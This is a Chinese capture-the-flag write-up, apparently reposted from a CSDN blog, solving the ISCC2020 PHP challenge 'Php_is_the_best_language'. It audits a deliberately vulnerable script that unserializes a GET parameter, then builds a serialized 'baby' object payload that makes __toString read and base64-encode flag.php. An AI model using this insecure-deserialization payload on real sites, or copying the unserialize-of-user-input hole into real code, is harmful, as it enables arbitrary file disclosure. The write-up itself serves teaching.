1.Php_is_the_best_language-[ISCC2020]-[本地复现]
第一步:代码审计
<?php
@error_reporting(1); //运行时遇到致命的错误,停止执行脚本
include 'flag.php'; //提示当前目录下有一个flag.php
class baby //类:baby
{
public $file; //公有属性:$file
function __toString() //魔术方法__toString():xxxxxxxxxx
{
if(isset($this->file)) //判断$file属性是否为已设置且不为NULL
{
$filename = "./{$this->file}"; //拼接到当前目录下
if (base64_encode(file_get_contents($filename))) //如果可以进行该操作
{
return base64_encode(file_get_contents($filename)); //返回该值
}
}
}
}
if (isset($_GET['data'])) //判断后台是否以GET形式收到了data参数的值,且不为NULL
{
$data = $_GET['data']; //赋值
$good = unserialize($data); //反序列化
echo $good; //打印反序列化内容
}else
{
$url='./index.php';
}
$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="<p>谢谢参与!</p>";
}
?>
第二步:思路
想要flag,就要执行baby类的__toString()魔术方法,且该类的$file属性的值为flag.php
想要执行baby类的__toString()魔术方法,就要让该类的实例化对象被当作字符串操作
很明显,我们传入的data参数的值,经过反序列化后,会被当作字符串进行打印输出
所以:只要我们能实例化baby类,且$file属性为flag.php,进行反序列化,传入即可
第三步:编写代码,生成payload
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
$chen = new baby();
$chen->file = 'flag.php';
$chen = serialize($chen);
echo $chen."<br />";
//O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
payload:
?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
第四步:提交payload,base64解码,获取flag
(1)提交payload,获得base64编码后的flag.php页面内容
图略
(2)base64解码,获得flag:
$flag = “flag{this_is_test!!!}”;
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/109957829